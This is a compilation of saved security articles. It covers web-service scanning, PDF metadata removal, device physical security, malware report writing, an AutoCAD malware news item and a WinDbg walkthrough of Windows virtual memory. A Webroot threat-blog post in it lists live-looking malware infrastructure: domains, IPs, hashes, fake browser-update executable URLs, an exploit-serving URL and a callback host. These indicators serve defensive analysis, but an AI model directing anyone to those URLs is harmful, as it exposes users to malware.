  * External Entity Attack - XXE
  * XPATH Injection
  * Verbose SOAP Fault Message

**Static Analysis:**

  * Weak XML Schema: Unbounded Occurrences
  * Weak XML Schema: Undefined Namespace
  * Weak WS-SecurityPolicy: Insecure Transport
  * Weak WS-SecurityPolicy: Insufficient Supporting Token Protection
  * Weak WS-SecurityPolicy: Tokens Not Protected

**Information Leakage:**

  * Server or technology information disclosure

**WSSAT’s main modules are:**

  * Parser
  * Vulnerabilities Loader
  * Analyzer/Attacker
  * Logger
  * Report Generator

The main difference of WSSAT is to create a dynamic vulnerability management
environment instead of embedding the vulnerabilities into the code.

_This project has been developed as Term Project at Middle East Technical
University \(METU\), Software Management master program._

  

# Episode137 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:55:07 PM_  
---|---  
**Updated:**| _8/5/2009 1:07:08 PM_  
**Author:**| __  
**Tags:**| _Metadata pauldotcom Tutorials_  
  

# Tech segment: Removing PDF Metadata With Adobe Acrobat Standard/Pro

There are a number of additional tools from third parties, most of which do
require a modest fee to purchase. In preparation for this paper, the author
reviewed several that offered trial versions, and all offered similar
functionality to Acrobat.

All of these tools smaller metadata removal tools are valid, I find that in
many environments, the "official" adobe suite is already in use, especially by
those \(say, in marketing\) that are converting documents for publication
already. This is the time to remove the metadata, in my opinion.

But, what about those documents in PDF format already? This becomes a
significant challenge when documents are converted to PDF format from a third
party conversion tool or other authoring program. These third party converters
often rely and populate the metadata carried over from the original authoring
software. This can be removed by opening the final PDF document in Acrobat
Standard/Pro assuming the document has not been protected.

In order to remove relevant metadata using Acrobat we need to select File,
then Document Properties from the menu. In the new dialog box, we need to
select the Description tag, then Additional Metadata. First, let’s address the
Advanced section.

  
By addressing the Advanced section first, we can delete one item and have it
remove the rest of our Metadata items as a result, including those in the
Description selection, as well as the properties screen. The complete removal
can be accomplished by selecting the PDF Properties parent item and selecting
Delete.

  
All of the tools will still leave behind some information that is required for
proper document utilization and may be required by the software. This can
include software version that created the document in order to check for
document compatibility.

# Tech Segment: Physical Security Matters

This week I attended \(virtually\) the S4 SCADA security conference. One of
the issues that came up during some of the talks was the issue of physical
access. There has been a lot of research published that allows an attacker to
gain sensative information or compromise a device which requires physical
access. Many will disregard this attack vector because they believe that good
physical security will protect them. Lets put this in the context of a device,
for example a control systems device, a firewall device, a wireless access
point, cell phone, or really any other embedded system in your environment.
With physical access to the device an attacker can:

  * Reverse engineer the hardware and software, which then leads to:
    * Finding traditional software vulnerabilities in the firmware
    * Discovering vulnerabilities in the hardware, such as timing attacks allowing you to bypass or modify functionality
    * Stealing the passwords and/or keys stored on the device
    * Inserting malicious hardware or software
    * Uncovering network and/or web-based vulnerabilities

The ability to change the behavior of the device can lead to:

  * DoS attacks \(ala Zune\)
  * Inserting of backdoors for attacker access
  * Ability to control the device functionality \(open a valve, disassociate users, pass traffic through the firewall\)
  * Launchpad for other attacks, such as compromising a workstation connecting to the device

There are many ways in which an attacker gain gain physical access:

  * Insider threat at the manufacturer OR asset owner
  * Social engineering at the manufacturer OR asset owner
  * Dumpster diving, Ebay, Government auction
  * Breaking & Entering

Its important to note that the first two, insider threat and social
engineering, can happen to the manufacturer of the device. So, you as the
asset owner could implement the same level of security as the inauguration,
but still get compromised because the manufacturer has poor physical security
or controls in place to stop social engineering. Its also important to note
that you can gain physical access to a device without leaving your home. For
example, I could call up the manufacturer and pretend to be a potential
customer and ask them to ship me a device. The attack, and your story, would
have to be better than that, but its possible. Even easier, I can just buy the
parts on Ebay.

Moral of the story: Physical security is not just limited to the confines of
your organization. You must run through these scenarios and use them in your
risk calculations. This means you have to take into account a device being
"evil" when you design your security architecture.

# Mass iFrame injection campaign leads to Adobe Flash exploits Webroot Threat
Blog

**Created:**| _10/17/2013 8:56:46 AM_  
---|---  
**Updated:**| _10/17/2013 8:58:22 AM_  
**Author:**| __  
**Tags:**| _Flash web-app-sec_  
  

# **M** ass iFrame injection campaign leads to Adobe Flash exploits****

Rate this

**Share this news now**.

We’ve intercepted an ongoing malicious campaign, relying on injected/embedded
iFrames at Web sites acting as intermediaries for a successful client-side
exploits to take place**.** Let’s dissect the campaign, expose the malicious
domains portfolio/infrastructure it relies on, as well as directly connect it
with historical malicious activity, in this particular case, a social
engineering campaign pushing fake browser updates**.**

**Sample screenshot of the script identifying the client’s Flash Player
version:**

<img src='img/Temp2_5237.png'
alt='Mass_iFrame_Injection_Traffic_EShop_Buy_Purchase_Traffic_Exploits_Malware_01'
/>

**iFrame URL:** mexstat210**.** ru – **88.198.7.48**

**Known to have responsed to the same IP \(88**.** 198.7.48\) are also the
following malicious domains:**  
alson.info – Email: zexpay@gmail.com  
autosloans.biz  
bank7.net  
bestfriendsfinder.net  
blingpurse.com  
demserv.net  
distantnews.biz  
distantnews.com  
distantnews**.** pw  
free-vpn.co.uk  
goodloads.oufk.info  
itmagnate.org  
loansauto.biz  
loansautos.com  
loansbiz.net  
mexstat210**.** ru  
mexstat260.pw  
mexstat480.pw  
online-job.info  
russianshoping.net  
vilestube.com  
updbrowser.com  
allonlineworkathome.info

**Sample detection rate for the malicious script:** **MD5:
efcaac14b8eea9b3c42deffb42d59ac5** – detected by 30 out of 43 antivirus
scanners as Trojan-Downloader**.** JS.Expack.sn; Trojan:JS/Iframe.BS

**The following malicious MD5s are also known to have been hosted on the same
IP \(88**.** 198.7.48\):**  
_bank7.net/chrome/ChromeUpdate.exe_ – **MD5:
7b3d9e48deac8d0b33f6fc4235361cbd**  
_bank7.net/ie/IEUpdate.exe_ – **MD5: 7b3d9e48deac8d0b33f6fc4235361cbd**  
_bank7.net/firefox/FirefoxUpdate.exe_ – **MD5:
7b3d9e48deac8d0b33f6fc4235361cbd**  
_setexserv.com/zort.exe_ – **MD5: ed5c71023a505bd82f5709bfb262e701**  
_ztxserv.biz/chrome/ChromeUpdate.exe_ – **MD5:
2e899f619c9582e79621912524a0bafb**

**Client-side exploits serving URL:**
_urkqpv.chinesenewyeartrendy.biz:39031/57e2a1b744927e0446aef3364b7554d2.html_
– 198**.** 50.225.114

**Domain name reconnaissance:** chinesenewyeartrendy.biz - 46**.** 105.166.96
known to have responded to the same IP is also appearancemanager.biz

**Detection rates for the dropped PDF exploits:**  
**MD5: 77cd239509c0c5ca6f52c38a23b505f3** – detected by 3 out of 48 antivirus
scanners as Heuristic.BehavesLike.PDF.Exploit-CRT**.** F; HEUR\_PDFJS.STREM  
**MD5: 131e53c40efddfc58f5ac78c7854bc73** – detected by 3 out of 48 antivirus
scanners as Exploit.Script.Heuristic-pdf.gutws;
Heuristic.BehavesLike.PDF.Exploit-CRT**.** F

**Both malicious PDF files exploitCVE-2010-0188 which also phone back to :**
_urkqpv.chinesenewyeartrendy.biz:39031/f/1381405800/1381405863/ce504b9214abf8db6ce3d7276b7badbb/7770e5aab4389e4e2faf75514bed926e/6_

It gets even more interesting, taking into consideration the fact that the
iFrame injected/embedded URL includes a secondary iFrame pointing to a,
surprise, surprise, Traffic Exchange network**.** Not surprisingly, we also
identified a related threat that is currently using the same infrastructure as
the official Web site of the Traffic Exchange**.**

<img src='img/Temp2_5236.png'
alt='Mass_iFrame_Injection_Traffic_EShop_Buy_Purchase_Traffic_Exploits_Malware'
/>

**Secondary iFrame** : mxdistant.com – 213**.** 239.231.141

**Known to have responded to the same IP in the past are also the following
malicious domains:**  
photosgram.com  
worldtraff**.** ru  
worldtraffic.biz

Which inevitably leads us to _photosgram.com/gallery.exe_ – **MD5:
961dba6cf73d24181634321e90323577** – detected by 13 out of 48 antivirus
scanners as TROJ\_GEN**.** R0CBOH0I713; Artemis**\!** 961DBA6CF73D.

Once executed, it phones back to **anyplace-gateway.info** – 76**.**
72.165**.** 63 – info@remote-control-pc.com

**The following MD5s are also known to have phoned back to the same IP in the
past:**  
MD5: c4fb386b785e8c337e378d2c318c18c7  
MD5: db872312b12f089cc525068b8c67baaf  
MD5: 5457197c011263db0820fc6b6788b45c  
MD5: 217745fadde1d42cc31ba20b4eb601d3  
MD5: ba11bb7704cc36ad55b22c00080b6d39  
MD5: 70d821fa0b6bdf30221cce9e3ad40727  
MD5: 12d1436481c6a19c05a12578249683b2

Moreover, **updbrowser.com** is also directly related to **worldtraff**.**
ru**, as it **used to push fake browser updates** , similar to the MD5s at
**bank7.net** and **ztxserv.biz****.**

**Webroot SecureAnywhere** users are proactively protected from these
threats**.**

# Hunting through Log Data with Excel

**Created:**| _5/7/2017 10:37:04 AM_  
---|---  
**Updated:**| _5/7/2017 10:37:52 AM_  
**Author:**| __  
**Tags:**| _analysis Logs_  
  

  
<img src='img/hunting-log-data-excel-37745.pdf' />  

# What to Include in a Malware Analysis Report - Lenny Zeltser

**Created:**| _9/30/2009 7:33:29 PM_  
---|---  
**Updated:**| _9/30/2009 7:33:38 PM_  
**Author:**| __  
**Tags:**| _report Malware-analysis_  
  

# What to Include in a Malware Analysis Report

In my SANS Institute course, I teach security and systems professionals how to
reverse-engineer malicious software. The following note summarizes my
recommendations for what to include in the report that describes the results
of the malware analysis process.

A typical malware analysis report covers the following areas:

  * _Summary of the analysis:_ Key takeaways should the reader get from the report regarding the specimen's nature, origin, capabilities, and other relevant characteristics
  *  _Identification_ : The type of the file, its name, size, hashes \(such as MD5, SHA1, and ssdeep\), malware names \(if known\), current anti-virus detection capabilities
  *  _Characteristics:_ The specimen's capabilities for infecting files, self-preservation, spreading, leaking data, interacting with the attacker, and so on
  *  _Dependencies:_ Files and network resources related to the specimen’s functionality, such as supported OS versions and required initialization files, custom DLLs, executables, URLs, and scripts
  *  _Behavioral and code analysis findings:_ Overview of the analyst's behavioral, as well as static and dynamic code analysis observations
  *  _Supporting figures:_ Logs, screenshots, string excerpts, function listings, and other exhibits that support the investigators analysis

Malware analysis should be performed according to a repeatable process. To
accomplish this, the analyst should save logs, take screen shots, and maintain
notes during the examination. This data will allow the person to create an
analysis report with sufficient detail that will allow a similarly-skilled
anayst to arrive at equivalent results.

  

# Trend Micro detected AutoCAD Malware for long term cyber espionage

**Created:**| _12/3/2013 8:53:38 AM_  
---|---  
**Updated:**| _12/3/2013 8:53:38 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# **T** rend Micro detected AutoCAD Malware for long term cyber espionage****

Trend Micro detected AutoCAD Malware for long term cyber espionage

/ paganinip / 3 hours ago

## Security experts at Trend Micro detected a new variant of AutoCAD Malware
that leaves victims hackable for further cyber attacks**.**

Malware researchers at Trend Micro spotted AutoCAD Malware codenamed
ACM\_SHENZ**.** A . It’s not first time that a malware was specifically
designed to steal AutoCAD project, last years security specialists at ESET
detected a malicious code dubbed “ACAD/Medre**.** A” specialized in the theft
of AutoCAD  files**.** The virus has been developed to steal the blueprints
from private companies mostly based in Peru according the security firm ESET,
the virus was able to locate AutoCAD file on infected machines and to send
them via e-mail to accounts provided by two Chinese  internet firms, 163.com
and qq.com

The choice to steal this particular type of file is motivated by the
consideration that AutoCAD is one of the most used application for 2D and 3D
computer-aided design \(CAD\) and drafting and it is widespread in principal
industries **.**

Once infected the AutoCAD Malware creates an administrative account and
unlocks the ports with the \(SMB\) Server Message Block protocol**.**

> _“ It appears to be a legitimate AutoCAD component with a .FAS extension,
> but on analysis it actually opens up systems to exploits, specifically those
> targeting old vulnerabilities**.** ” “It then creates network shares for all
> drives from C: to I:**.** It then opens four ports on the system: ports
> 137-139, and port 445**.** “reported the blog post published by Trend
> Micro._
<img src='img/Temp2_8456.jpg' alt='Autocad Malware decompiled code' />

The administrative account lets attacker to serve malicious code and steal
documents from victims’PC , the cybercriminals behind the malware exploit
unpatched SMB flaw to open the SMB ports and control the targeted system**.**
The ports opened provides access to files, printers, serial ports, and
miscellaneous communications between nodes on a network running on
Windows**.**

> _“By opening the ports, exploits that target SMB can successfully run on
> affected systems, provided that the relevant vulnerabilities have not yet
> been patched**.** Security bulletins that cover the SMB vulnerabilities
> include MS10-020and MS11-043**.** ”_
Analyzing the structure of the agent the experts believe that ACM\_SHENZ**.**
A may have been designed to launch further attacks.  
The AutoCAD Malware also allows attackers to disable certain AutoCAD functions
and modify all AutoCAD files to spread malware**.**

The AutoCAD Malware ACM\_SHENZ.A is quite different from the one detected by
ESET last year, the malicious agent discovered by Trend Micro was designed
with leaves the compromised machine open for further exploitation and could be
used for long term cyber espionage operation**.**

Global VP of Trend Micro’s Security Research, Rik Ferguson, to the answer if
the two malware are different replied:

> _“Yep, ‘its different’**.** ”_
As usual the best way to keep the system protected from infection of AutoCAD
Malware ACM\_SHENZ**.** A is to keep updated anti-virus software and fix all
unpatched vulnerabilities to reduce the surface of attack of the cyber
threat**.**

The post Trend Micro detected AutoCAD Malware for long term cyber espionage
appeared first on Security Affairs **.**

****

# Exploring Windows virtual memory management

**Created:**| _9/4/2017 9:12:27 AM_  
---|---  
**Updated:**| _9/4/2017 9:12:27 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

#  triplefault.io

General reverse engineering, security research, Windows internals, and system
architecture.

###  Exploring Windows virtual memory management

August 13, 2017

In a previous post, we discussed the IA-32e 64-bit paging structures, and how
they can be used to turn virtual addresses into physical addresses. They're a
simple but elegant way to manage virtual address mappings as well as page
permissions with varying granularity of page sizes. All of which is provided
by the architecture. But as one might expect, once you add an operating system
like Windows into the mix, things get a little more interesting.  
  

##  The problem of per-process memory

In Windows, a process is nothing more than a simple container of threads and
metadata that represents a user-mode application. It has its own memory so
that it can manage the different pieces of data and code that make the process
do something useful. Let's consider, then, two processes that both try to read
and write from the memory located at the virtual address 0x00000000\`11223344.
Based on what we know about paging, we expect that the virtual address is
going to end up translating into the same physical address \(let's say
0x00000001\`ff003344 as an example\) in both processes. There is, after all,
only one CR3 register per processor, and the hardware dictates that the paging
structure root is located in that register.

  

<img src='img/tf-article2-1.png' width='640' height='484' />

_Figure 1: If the two process' virtual addresses would translate to the same
physical address, then we expect that they would both see the same memory,
right?_

  

Of course, in reality we know that it can't work that way. If we use one
process to write to a virtual memory address, and then use another process to
read from that address, we shouldn't get the same value. That would be
devastating from a security and stability standpoint. In fact, the same
permissions may not even be applied to that virtual memory in both processes.

  

But how does Windows accomplish this separation? It's actually pretty
straightforward: when switching threads in kernel-mode or user-mode \(called a
context switch\), Windows stores off or loads information about the current
thread including the state of all of the registers. Because of this, Windows
is able to swap out the root of the paging structures when the thread context
is switched by changing the value of CR3, effectively allowing it to manage an
entirely separate set of paging structures for each process on the system.
This gives each process a unique mapping of virtual memory to physical memory,
while still using the same virtual address ranges as another process. The PML4
table pointer for each user-mode process is stored in the DirectoryTableBase
member of an internal kernel structure called the EPROCESS, which also manages
a great deal of other state and metadata about the process.

  

<img src='img/tf-article2-2.png' width='640' height='484' />

_Figure 2: In reality, each process has its own set of paging structures, and
Windows swaps out the value of the CR3 register when it executes within that
process. This allows virtual addresses in each process to map to different
physical addresses._

  

We can see the paging structure swap between processes for ourselves if we do
a little bit of exploration using WinDbg. If you haven't already set up kernel
debugging, you should check out this article to get yourself started. Then
follow along below.

  

Let's first get a list of processes running on the target system. We can do
that using the \!process command. For more details on how to use this command,
consider checking out the documentation using .hh \!process. In our case, we
pass parameters of zero to show all processes on the system.

  

1 | 0: kd> \!process 0 0  
---|---  
2 | \*\*\*\* NT ACTIVE PROCESS DUMP \*\*\*\*  
3 | PROCESS fffffa801916b5d0  
4 |  SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000  
5 |  DirBase: 00187000 ObjectTable: fffff8a000001890 HandleCount: 560.  
6 |  Image: System  
7 |   
8 | PROCESS fffffa8028effb10  
9 |  SessionId: none Cid: 0130 Peb: 7fffffd8000 ParentCid: 0004  
10 |  DirBase: 7d9ed5000 ObjectTable: fffff8a000174d80 HandleCount: 36.  
11 |  Image: smss.exe  
12 |   
13 | PROCESS fffffa802949bb10  
14 |  SessionId: 0 Cid: 01b8 Peb: 7fffffdf000 ParentCid: 0174  
15 |  DirBase: 7cf890000 ObjectTable: fffff8a000b82010 HandleCount: 713.  
16 |  Image: csrss.exe  
17 |   
18 | ...  
19 |   
20 | PROCESS fffffa8019218b10  
21 |  SessionId: 1 Cid: 02f0 Peb: 7fffffd5000 ParentCid: 0808  
22 |  DirBase: 652e89000 ObjectTable: fffff8a00cacc270 HandleCount: 58.  
23 |  Image: notepad.exe  
view raw tf-article2-windbg-1.txt hosted with ❤ by GitHub

  

We can use notepad.exe as our target process, but you should be able to follow
along with virtually any process of your choice. The next thing we need to do
is attach ourselves to this process - simply put, we need to be in this
process' context. This lets us access the virtual memory of notepad.exe by
remapping the paging structures. We can verify that the context switch is
happening by watching what happens to the CR3 register. If the virtual memory
we have access to is going to change, we expect that the value of CR3 will
change to new paging structures that represent notepad.exe's virtual memory.
Let's take a look at the value of CR3 before the context switch.  
  

1 | 0: kd> r cr3  
---|---  
2 | cr3=000000078b07a000  
view raw tf-article2-windbg-2.txt hosted with ❤ by GitHub

  
We know that this value should change to the DirectoryTableBase member of the
EPROCESS structure that represents notepad.exe when we make the switch. As a
matter of interest, we can take a look at that structure and see what it
contains. The PROCESS fffffa8019218b10 line emitted by the debugger when we
listed all processes is actually the virtual address of that process' EPROCESS
structure.  
  

1 | 0: kd> dt nt\!\_EPROCESS fffffa8019218b10 -b  
---|---  
2 |  +0x000 Pcb : \_KPROCESS  
3 |  +0x000 Header : \_DISPATCHER\_HEADER  
4 |  +0x000 Type : 0x3 ''  
5 |  +0x001 TimerControlFlags : 0 ''  
6 |  +0x001 Absolute : 0y0  
7 |  +0x001 Coalescable : 0y0  
8 |  +0x001 KeepShifting : 0y0  
9 |  +0x001 EncodedTolerableDelay : 0y00000 \(0\)  
10 |  +0x001 Abandoned : 0 ''  
11 |  +0x001 Signalling : 0 ''  
12 |  +0x002 ThreadControlFlags : 0x58 'X'  
13 |  +0x002 CpuThrottled : 0y0  
14 |  +0x002 CycleProfiling : 0y0  
15 |  +0x002 CounterProfiling : 0y0  
16 |  +0x002 Reserved : 0y01011 \(0xb\)  
17 |  +0x002 Hand : 0x58 'X'  
18 |  +0x002 Size : 0x58 'X'  
19 |  +0x003 TimerMiscFlags : 0 ''  
20 |  +0x003 Index : 0y000000 \(0\)  
21 |  +0x003 Inserted : 0y0  
22 |  +0x003 Expired : 0y0  
23 |  +0x003 DebugActive : 0 ''  
24 |  +0x003 ActiveDR7 : 0y0  
25 |  +0x003 Instrumented : 0y0  
26 |  +0x003 Reserved2 : 0y0000  
27 |  +0x003 UmsScheduled : 0y0  
28 |  +0x003 UmsPrimary : 0y0  
29 |  +0x003 DpcActive : 0 ''  
30 |  +0x000 Lock : 0n5767171  
31 |  +0x004 SignalState : 0n0  
32 |  +0x008 WaitListHead : \_LIST\_ENTRY \[ 0xfffffa80\`19218b18 - 0xfffffa80\`19218b18 \]  
33 |  +0x000 Flink : 0xfffffa80\`19218b18   
34 |  +0x008 Blink : 0xfffffa80\`19218b18   
35 |  +0x018 ProfileListHead : \_LIST\_ENTRY \[ 0xfffffa80\`19218b28 - 0xfffffa80\`19218b28 \]  
36 |  +0x000 Flink : 0xfffffa80\`19218b28   
37 |  +0x008 Blink : 0xfffffa80\`19218b28   
38 |  +0x028 DirectoryTableBase : 0x00000006\`52e89000  
39 | ...  
view raw tf-article2-windbg-3.txt hosted with ❤ by GitHub

  
The fully expanded EPROCESS structure is massive, so everything after what
we're interested in has been omitted from the results above. We can see,
though, that the DirectoryTableBase is a member at +0x028 of the process
control block \(KPROCESS\) structure that's embedded as part of the larger
EPROCESS structure.  
  
According to this output, we should expect that CR3 will change to
0x00000006\`52e89000 when we switch to this process' context in WinDbg.  
  
To perform the context swap, we use the .process command and indicate that we
want an invasive swap \(/i\) which will remap the virtual address space and
allow us to do things like set breakpoints in user-mode memory. Also, in order
for the process context swap to complete, we need to allow the process to
execute once using the g command. The debugger will then break again, and
we're officially in the context of notepad.exe.  
  

1 | 0: kd> .process /i /P fffffa8019218b10  
---|---  
2 | You need to continue execution \(press 'g' <enter>\) for the context  
3 | to be switched. When the debugger breaks in again, you will be in  
4 | the new process context.  
5 | 0: kd> g  
6 | Break instruction exception - code 80000003 \(first chance\)  
7 | nt\!DbgBreakPointWithStatus:  
8 | fffff800\`02a73c70 cc int 3  
view raw tf-article2-windbg-4.txt hosted with ❤ by GitHub

  
Okay\! Now that we're in the context we need to be in, let's check the CR3
register to verify that the paging structures have been changed to the
DirectoryTableBase member we saw earlier.  
  

1 | 6: kd> r cr3  
---|---  
2 | cr3=0000000652e89000  
view raw tf-article2-windbg-5.txt hosted with ❤ by GitHub

  
Looks like it worked as we expected. We would find a unique set of paging
structures at 0x00000006\`52e89000 that represented the virtual to physical
address mappings within notepad.exe. This is essentially the same kind of swap
that occurs each time Windows switches to a thread in a different process.  
  

##  Virtual address ranges

While each process gets its own view of virtual memory and can re-use the same
virtual address range as another process, there are some consistent rules of
thumb that Windows abides by when it comes to which virtual address ranges
store certain kinds of information.  
  
To start, each user-mode process is allowed a user-mode virtual address space
ranging from 0x000\`00000000 to 0x7ff\`ffffffff, giving each process a
theoretical maximum of 8TB of virtual memory that it can access. Then, each
process also has a range of kernel-mode virtual memory that is split up into a
number of different subsections. This much larger range gives the kernel a
theoretical maximum of 248TB of virtual memory, ranging from
0xffff0800\`00000000 to 0xffffffff\`ffffffff. The remaining address space is
not actually used by Windows, though, as we can see below.  
  

<img src='img/tf-article2-3-revised.png' width='640' height='484' />

  

_Figure 3: All possible virtual memory, divided into the different ranges that
Windows enforces. The virtual addresses for the kernel-mode regions may not be
true on Windows 10, where these regions are subject to address space layout
randomization \(ASLR\). Credits toAlex Ionescu for specific kernel space
mappings._

  
Currently, there is an extremely large “no man's land” of virtual memory space
between the user-mode and kernel-mode ranges of virtual memory. This range of
memory isn't wasted, though, it's just not addressable due to the current
architecture constraint of 48-bit virtual addresses, which we discussed in our
previous article. If there existed a system with 16EB of physical memory -
enough memory to address all possible 64-bit virtual memory - the extra
physical memory would simply be used to hold the pages of other processes, so
that many processes' memory ranges could be resident in physical memory at
once.  
  
As an aside, one other interesting property of the way Windows handles virtual
address mapping is being able to quickly tell kernel pointers from user-mode
pointers. Memory that is mapped as part of the kernel has the highest order
bits of the address \(the 16 bits we didn't use as part of the linear address
translation\) set to 1, while user-mode memory has them set to 0. This ensures
that kernel-mode pointers begin with 0xFFFF and user-mode pointers begin with
0x0000.  
  

##  A tree of virtual memory: the VAD

We can see that the kernel-mode virtual memory is nicely divided into
different sections. But what about user-mode memory? How does the memory
manager know which portions of virtual memory have been allocated, which
haven't, and details about each of those ranges? How can it know if a virtual
address within a process is valid or invalid? It could walk the process'
paging structures to figure this out every time the information was needed,
but there is another way: the virtual address descriptor \(VAD\) tree.  
  
Each process has a VAD tree that can be located in the VadRoot member of the
aforementioned EPROCESS structure. The tree is a balanced binary search tree,
with each node representing a region of virtual memory within the process.  
  

<img src='img/tf-article2-4.png' width='640' height='484' />

_Figure 4: The VAD tree is balanced with lower virtual page numbers to the
left, and each node providing some additional details about the memory range._

  

Each node gives details about the range of addresses, the memory protection of
that region, and some other metadata depending on the state of the memory it
is representing.

  

We can use our friend WinDbg to easily list all of the entries in the VAD tree
of a particular process. Let's have a look at the VAD entries from notepad.exe
using \!vad.

  

1 | 6: kd> \!vad  
---|---  
2 | VAD Level Start End Commit  
3 | fffffa8019785170 5 10 1f 0 Mapped READWRITE Pagefile section, shared commit 0x10  
4 | fffffa8019229650 4 20 26 0 Mapped READONLY Pagefile section, shared commit 0x7  
5 | fffffa802aec35c0 5 30 33 0 Mapped READONLY Pagefile section, shared commit 0x4  
6 | fffffa80291085a0 3 40 41 0 Mapped READONLY Pagefile section, shared commit 0x2  
7 | fffffa802b25c180 5 50 50 1 Private READWRITE   
8 | fffffa802b0b8940 4 60 c6 0 Mapped READONLY \Windows\System32\locale.nls  
9 | fffffa8019544940 5 d0 d1 0 Mapped READWRITE Pagefile section, shared commit 0x2  
10 | fffffa80193c5570 2 e0 e2 3 Mapped WRITECOPY \Windows\System32\en-US\notepad.exe.mui  
11 | fffffa802b499e00 5 f0 f0 1 Private READWRITE   
12 | fffffa802b4a6160 4 100 100 1 Private READWRITE   
13 | fffffa801954d3a0 5 110 110 0 Mapped READWRITE Pagefile section, shared commit 0x1  
14 | fffffa80197cf8c0 3 120 121 0 Mapped READONLY Pagefile section, shared commit 0x2  
15 | fffffa802b158240 4 160 16f 2 Private READWRITE   
16 | fffffa802b24f180 1 1a0 21f 20 Private READWRITE   
17 | fffffa802b1fc680 6 220 31f 104 Private READWRITE   
18 | fffffa802b44d110 5 320 41f 146 Private READWRITE   
19 | fffffa802910ece0 6 420 4fe 0 Mapped READONLY Pagefile section, shared commit 0xdf  
20 | fffffa802b354c60 4 540 54f 7 Private READWRITE   
21 | fffffa8029106660 6 550 6d7 0 Mapped READONLY Pagefile section, shared commit 0x6  
22 | fffffa802b4738b0 5 6e0 860 0 Mapped READONLY Pagefile section, shared commit 0x181  
23 | fffffa802942ea30 6 870 1c6f 0 Mapped READONLY Pagefile section, shared commit 0x23  
24 | fffffa802b242260 3 1cf0 1d6f 28 Private READWRITE   
25 | fffffa802aa66d60 5 1e10 1e8f 113 Private READWRITE   
26 | fffffa8019499560 4 3030 395f 0 Mapped READONLY \Windows\Fonts\StaticCache.dat  
27 | fffffa8019246370 5 3960 3c2e 0 Mapped READONLY \Windows\Globalization\Sorting\SortDefault.nls  
28 | fffffa802b184c50 6 3c30 3d2f 1 Private READWRITE   
29 | fffffa802b45f180 2 77420 77519 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\user32.dll  
30 | fffffa80192afa20 4 77520 7763e 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\kernel32.dll  
31 | fffffa802a8ba9c0 3 77640 777e9 14 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\ntdll.dll  
32 | fffffa802910a440 5 7efe0 7f0df 0 Mapped READONLY Pagefile section, shared commit 0x5  
33 | fffffa802b26d180 4 7f0e0 7ffdf 0 Private READONLY   
34 | fffffa802b4cb160 0 7ffe0 7ffef -1 Private READONLY   
35 | fffffa802b4e60d0 5 ffd50 ffd84 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\notepad.exe  
36 | fffffa801978d170 4 7fefa530 7fefa5a0 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\winspool.drv  
37 | fffffa80197e0970 5 7fefaab0 7fefab05 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\uxtheme.dll  
38 | fffffa802a6d9720 6 7fefafd0 7fefafe7 5 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\dwmapi.dll  
39 | fffffa80197ecc50 3 7fefb390 7fefb583 6 Mapped Exe EXECUTE\_WRITECOPY \Windows\winsxs\amd64\_microsoft.windows.common-controls\_6595b64144ccf1df\_6.0.7601.18837\_none\_fa3b1e3d17594757\comctl32.dll  
40 | fffffa802a91e010 5 7fefc3c0 7fefc3cb 2 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\version.dll  
41 | fffffa80197cb010 6 7fefd1d0 7fefd1de 2 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\cryptbase.dll  
42 | fffffa80290fe9c0 4 7fefd440 7fefd4a9 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\KernelBase.dll  
43 | fffffa8029109e30 5 7fefd6f0 7fefd6fd 2 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\lpk.dll  
44 | fffffa8029522520 6 7fefd720 7fefd74d 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\imm32.dll  
45 | fffffa802910bce0 2 7fefd800 7fefd8da 7 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\advapi32.dll  
46 | fffffa80290d9500 5 7fefd8e0 7fefdadb 9 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\ole32.dll  
47 | fffffa802af4a0c0 4 7fefdae0 7fefe86a 13 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\shell32.dll  
48 | fffffa8019787170 5 7fefea50 7fefea6e 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\sechost.dll  
49 | fffffa802a6e8010 3 7fefeda0 7fefee36 6 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\comdlg32.dll  
50 | fffffa802a6ae010 5 7fefee50 7fefef58 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\msctf.dll  
51 | fffffa802910dac0 4 7feff0f0 7feff21c 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\rpcrt4.dll  
52 | fffffa801948e940 1 7feff2a0 7feff33e 7 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\msvcrt.dll  
53 | fffffa802aac1010 5 7feff340 7feff3b0 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\shlwapi.dll  
54 | fffffa8029156010 4 7feff3c0 7feff48a 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\usp10.dll  
55 | fffffa801956e170 5 7feff800 7feff8d9 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\oleaut32.dll  
56 | fffffa8019789170 3 7feff8e0 7feff946 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\gdi32.dll  
57 | fffffa801958e170 4 7feff960 7feff960 0 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\apisetschema.dll  
58 | fffffa80290f3c10 2 7fffffb0 7fffffd2 0 Mapped READONLY Pagefile section, shared commit 0x23  
59 | fffffa802af28110 3 7fffffd5 7fffffd5 1 Private READWRITE   
60 | fffffa802a714a30 4 7fffffde 7fffffdf 2 Private READWRITE   
61 |   
62 | Total VADs: 58, average level: 5, maximum depth: 6  
63 | Total private commit: 0x228 pages \(2208 KB\)  
64 | Total shared commit: 0x2d3 pages \(2892 KB\)  
view raw tf-article2-windbg-6.txt hosted with ❤ by GitHub

  

